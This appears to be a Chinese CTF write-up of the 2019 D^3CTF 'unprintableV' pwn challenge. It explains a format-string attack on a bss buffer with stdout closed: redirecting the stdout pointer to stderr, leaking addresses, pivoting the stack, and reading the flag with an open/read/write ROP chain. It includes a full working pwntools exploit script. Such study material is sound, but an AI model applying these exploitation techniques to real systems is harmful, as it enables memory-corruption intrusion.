这是2019 d3ctf的一道pwn题,由于当时知识储备不够没做出来,赛后就好好研究,从中学到了新的知识
首先,我们检查一下程序的保护机制
除了canary,其它的保护都开了
然后,我们用IDA分析一下
这个沙箱函数,把execve函数给禁用了,所以,我们不能getshell,但是我们可以构造ROP链来把flag读取后再打印出来
这是一个及其简单的程序,但是它的exp脚本会复杂的让你疯狂
程序一开始给了我们a的地址,也就是menu的ebp-0x8的值,接着**[close(1)把文件描述符1标准输出给关了,那么之后如果调用输出函数,将不能输出出来。]{.mark}**
然后,我们看看vuln函数,存在一个很明显的**[格式化字符串漏洞,但是由于这里字符串是存储在bss段的buf里,导致这个格式化字符串漏洞不是那么容易利用。]{.mark}**
如果我们想实现任意地址写,还得先在栈上特殊构造一下。
但是,由于**[标准输出被关闭了,导致信息泄露不出来。]{.mark}**
但或许有什么办法可以解决,我们来看看printf的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int __printf (const char *format, ...) { va_list arg; int done; va_start (arg, format); done = vfprintf (stdout, format, arg); va_end (arg); return done; }
|
printf实际是调用fprintf,并且传入了stdout指针,我们来看看stdout指针是如何定义的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include "libioP.h" #include "stdio.h" #undef stdin #undef stdout #undef stderr _IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_; _IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_; _IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_; #undef _IO_stdin #undef _IO_stdout #undef _IO_stderr #define AL(name) AL2 (name, _IO_##name) #define AL2(name, al) \ extern __typeof (name) al __attribute__ ((alias (#name), \ visibility ("hidden"))) AL(stdin); AL(stdout); AL(stderr);
|
而stdout、stdin、stderr这些是全局指针,因此,它们肯定存在于内存中的某个地方,bss段,我们要是能把stdout指针指向_IO_2_1_stderr_,那么就能输出了,IO_2_1_stderr_内部使用的文件描述符是2,而_IO_2_1_stdout_内部使用的文件描述符是1,它们在正常情况下,都向终端屏幕输出,因此,我们希望吧stdout指针指向_IO_2_1_stderr,我们在程序的bss段看到了这三个指针
这三个指针是程序在运行时装载上去的,就犹如GOT表的装载一样,然后**[程序中只要用到这三个指针,都是从这里访问获取指针的值]{.mark}**
下方不远处是buf
由于程序告诉了我们buf的地址,那么通过低字节覆盖,我们也能得到stderr、stdin、stdout这三个指针自己的地址。
那么,[我们该如何确定格式化字符串里参数在栈中的位置,比如%6$p这些?]{.mark}
[我们可以在本地先把close(1)给nop掉,再利用%p-%p-%p-%p-%p-%p-%p-%p-%p-%p…来确定。最后测试时,重新拿原文件来测试]{.mark}
假如,我们通过格式化字符串漏洞把这个数据低字节修改,使得它**[成为stdout指针的地址]{.mark}**,那么我们就能利用printf把stdout指针的内容改变,指向_IO_2_1_stderr_。但是,我们该如何来低字节修改这个数据呢?我们可以再借助这两个
我们可以**[先往0x7FFF7543E1D0里低字节覆盖,使得0x7FFF7543E1D0里的数据为0x7FFF7543E1C8]{.mark}**,即buf指针a的地址
然后,我们就能利用%t$hhn来对0x7FFF7543E1C8地址处写入了,我们先把a指向stdout
1 2 3 4 5 6 7 8 9 10 11 12
| sh.recvuntil('0x')
stack = int(sh.recvuntil('\n',drop=True),16) print hex(stack) payload = '%' + str(stack & 0xFF) + 'c%6$hhn' sh.recvuntil('may you enjoy my printf test!\n') sh.sendline(payload.ljust(0x12C-1,'\x00'))
time.sleep(0.5) payload = '%' + str(stdout_bss & 0xFF) + 'c%10$hhn' sh.sendline(payload.ljust(0x12C-1,'\x00'))
|
由于没有任何操作成功的提示,我们需要休眠一下,再继续发送数据
现在,我们看看栈里的布局,(我们重新运行了程序,所以和前面的图有些不一样)
a指针
成功指向了stdout指针,那么现在stdout指针的地址也在栈里了,我们就能继续利用printf,修改stdout指针的值了,我们只需低2个字节覆盖即可
1 2 3 4
| time.sleep(0.5) payload = '%' + str(_IO_2_1_stderr_ & 0xFFF) + 'c%9$hn' sh.sendline(payload.ljust(0x12C-1,'\x00'))
|
我们之所以写**IO_2_1_stderr & 0xFFF** 而不写_IO_2_1_stderr_ & 0xFFFF的原因是,[经过调试,发现_IO_2_1_stderr_ & 0xFFFF,printf执行后没有成功修改数据,可能是因为数据太大的原因]{.mark},注意,我们对stdout指针的修改必须一次完成,因为,如果我们分开的话,由于stdout指针修改了,所以在没完成全部修改之前,stdout就指向了其他地方,不是FILE结构体,导致printf执行错误崩溃
我们通过_IO_2_1_stderr_ & 0xFFF和%9$hn,最终导致**[stdout指针的值的倒数第四个十六进制数为0]{.mark},由于PIE的存在,我们有[1/16的可能]{.mark}**,使得stdout指针正好指向_IO_2_1_stderr_结构体
如上图,这次,我们没有成功让stdout指向_IO_2_1_stderr_,但是,只要我们不断的爆破,总有一次会成功,然后printf就可以正常输出了。
我们利用这种方式检验是否成功指向_IO_2_1_stderr_
1 2 3 4 5 6 7
| time.sleep(0.2) sh.sendline('aaaaaaa'.ljust(0x12C-1,'\x00')) x = sh.recvuntil('aa',timeout=0.5) if 'aa' not in x: raise Exception('retry')
|
假设我们已经成功将stdout指针指向了_IO_2_1_stderr_结构体,接下来,我们就要来泄露信息了
泄露这些信息,分别计算程序基址和libc基址,以及其他一些gadget和函数的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| payload = '%11$p%15$pTAG' sh.sendline(payload.ljust(0x12C-1,'\x00')) sh.recvuntil('0x') main_addr = int(sh.recvuntil('0x',drop=True),16) - 0x2D elf_base = main_addr - main_s pop_rsi_addr = pop_rsi + elf_base pop_rdi_addr = pop_rdi + elf_base buf_addr = buf_s + elf_base leave_addr = leave + elf_base
__libc_start_main_addr = int(sh.recvuntil('TAG',drop=True),16) - 0xE7 libc_base = __libc_start_main_addr - __libc_start_main open_addr = libc_base + open_s read_addr = libc_base + read_s write_addr = libc_base + write_s pop_rdx_addr = libc_base + pop_rdx print 'elf_base=',hex(elf_base) print 'libc_base=',hex(libc_base)
|
以上的一些地址,我们在构造rop链实现如下代码,需要用到的
1 2 3
| fd = open("flag",0); read(fd,buf+0x100,0x30); write(2,buf+0x100,0x30);
|
如果全都用printf格式化漏洞来对栈里面写ROP链,那么会比较麻烦,因此,我们决定把ROP链放入bss段的buf里面,然后修改ebp,将栈转移到buf里去
那么,我们该如何做**[栈转移]{.mark}**呢?
如图,我们通过%6$hhn来将10的位置的数据低字节覆盖,使得10的数据为12的地址,然后我们就可以通过%10$hhn来依次修改12的数据,当我们需要修改12的前一个字节时,只需再通过%6$hhn来改变10的数据,然后用%10$hhn来继续对12的前一个字节写。
1 2 3 4 5 6 7 8 9 10 11 12 13
| def write_i(sh,stack,index,addr): i = 0 while addr > 0: sh.recvuntil('TAG') payload = '%' + str((stack + 0x8*index + i) & 0xFF) + 'c%6$hhnTAG' sh.sendline(payload) sh.recvuntil('TAG') data = addr & 0xFF payload = '%' + str(data) + 'c%10$hhnTAG' sh.sendline(payload.ljust(0x12C-1,'\x00')) addr = addr >> 8 i+=1
|
然后,我们这样调用
1 2 3 4
| write_i(sh,stack,3,buf_addr)
write_i(sh,stack,4,leave_addr)
|
其中leave_addr地址处是指令leave;retn,而leave指令相当于
这样,当main函数执行到leave时,有
那么,ebp的值变成了我们的buf地址,但是esp还没有指向buf,于是,我们就在接下来的返回地址覆盖为leave_addr,让它再执行一次leave,那么有
现在,[rsp指向了buf]{.mark},但是rbp变成buf[0]的数据,这没什么问题,因为,做栈迁移,我们只需保证rsp指向了指定位置即可,由于pop rbp,rsp要加8,也就是说,这里执行后,[rsp指向了buf+8处]{.mark},retn就会从buf+8处取出一个数据当成地址,跳到那个地址处去执行,因此,[我们只需在buf+8处写ROP链即可]{.mark}。
为了能够正常到达main的栈中rbp数据处,[我们需要复原menu在栈中的rbp数据]{.mark}
1 2 3
| payload = '%' + str((stack + 0x18) & 0xFF) + 'c%6$hhnTAG' sh.sendline(payload)
|
构造ROP时,有些gadget可能在程序二进制文件里没有,我们可以去libc.so.6中找找。只需利用ROPgadget工具即可
ROPgadget –binary libc.so.6 –only ‘pop|ret’ | grep ‘rdx’
然后,我们就开始构造ROP链了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| rop = 'd^3CTF'.ljust(8,'\x00')
rop += p64(pop_rsi_addr) + p64(0) + p64(0)
rop += p64(pop_rdi_addr) + p64(buf_addr + 0xC8)
rop += p64(open_addr)
rop += p64(pop_rdx_addr) + p64(0x30)
rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0)
rop += p64(pop_rdi_addr) + p64(1)
rop += p64(read_addr)
rop += p64(pop_rdx_addr) + p64(0x30)
rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0)
rop += p64(pop_rdi_addr) + p64(2)
rop += p64(write_addr) rop = rop.ljust(0xC8,'\x00')
rop += 'flag\x00' rop = rop.ljust(0x12C-1,'\x00') sh.sendline(rop)
|
我们在**[开头写入了d^3CTFx00]{.mark}**,使得经过printf后,程序检测到d^3CTF,就直接退出main,就能执行我们的ROP链了,这样一次性搞定
需要注意的是文件描述符1对应了我们打开的flag文件,因为之前close(1),所以当我们open时,1就会被利用起来。也可以具体调试一下,得到文件描述符。
综上,我们的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137
| from pwn import * import time elf = ELF('./unprintableV') libc = ELF('./libc.so.6') stdout_bss = elf.symbols['stdout'] _IO_2_1_stderr_ = libc.symbols['_IO_2_1_stderr_'] __libc_start_main = libc.sym['__libc_start_main'] main_s = elf.symbols['main'] buf_s = elf.symbols['buf'] open_s = libc.sym['open'] read_s = libc.sym['read'] write_s = libc.sym['write']
pop_rsi = 0xBC1
pop_rdi = 0xBC3
leave = 0xB56
pop_rdx = 0x1b96 def write_i(sh,stack,index,addr): i = 0 while addr > 0: payload = '%' + str((stack + 0x8*index + i) & 0xFF) + 'c%6$hhnTAG' sh.sendline(payload) sh.recvuntil('TAG') data = addr & 0xFF payload = '%' + str(data) + 'c%10$hhnTAG' sh.sendline(payload.ljust(0x12C-1,'\x00')) sh.recvuntil('TAG') addr = addr >> 8 i+=1 def crack(sh): sh.recvuntil('0x') stack = int(sh.recvuntil('\n',drop=True),16) print hex(stack) payload = '%' + str(stack & 0xFF) + 'c%6$hhn' sh.recvuntil('may you enjoy my printf test!\n') sh.sendline(payload.ljust(0x12C-1,'\x00')) time.sleep(0.5) payload = '%' + str(stdout_bss & 0xFF) + 'c%10$hhn' sh.sendline(payload.ljust(0x12C-1,'\x00')) time.sleep(0.5) payload = '%' + str(_IO_2_1_stderr_ & 0xFFF) + 'c%9$hn' sh.sendline(payload.ljust(0x12C-1,'\x00')) time.sleep(0.2) sh.sendline('aaaaaaa'.ljust(0x12C-1,'\x00')) x = sh.recvuntil('aa',timeout=0.5) if 'aa' not in x: raise Exception('retry') payload = '%11$p%15$pTAG' sh.sendline(payload.ljust(0x12C-1,'\x00')) sh.recvuntil('0x') main_addr = int(sh.recvuntil('0x',drop=True),16) - 0x2D elf_base = main_addr - main_s pop_rsi_addr = pop_rsi + elf_base pop_rdi_addr = pop_rdi + elf_base buf_addr = buf_s + elf_base leave_addr = leave + elf_base __libc_start_main_addr = int(sh.recvuntil('TAG',drop=True),16) - 0xE7 libc_base = __libc_start_main_addr - __libc_start_main open_addr = libc_base + open_s read_addr = libc_base + read_s write_addr = libc_base + write_s pop_rdx_addr = libc_base + pop_rdx print 'elf_base=',hex(elf_base) print 'libc_base=',hex(libc_base) write_i(sh,stack,3,buf_addr) write_i(sh,stack,4,leave_addr) payload = '%' + str((stack + 0x18) & 0xFF) + 'c%6$hhnTAG' sh.sendline(payload) rop = 'd^3CTF'.ljust(8,'\x00') rop += p64(pop_rsi_addr) + p64(0) + p64(0) rop += p64(pop_rdi_addr) + p64(buf_addr + 0xC8) rop += p64(open_addr) rop += p64(pop_rdx_addr) + p64(0x30) rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0) rop += p64(pop_rdi_addr) + p64(1) rop += p64(read_addr) rop += p64(pop_rdx_addr) + p64(0x30) rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0) rop += p64(pop_rdi_addr) + p64(2) rop += p64(write_addr) rop = rop.ljust(0xC8,'\x00') rop += 'flag\x00' rop = rop.ljust(0x12C-1,'\x00') sh.sendline(rop) sh.interactive() while True: try: sh = process('./unprintableV',env={"LD_PRELOAD":"./libc.so.6"}) crack(sh) except BaseException as e: print e sh.kill() print 'retrying...'
|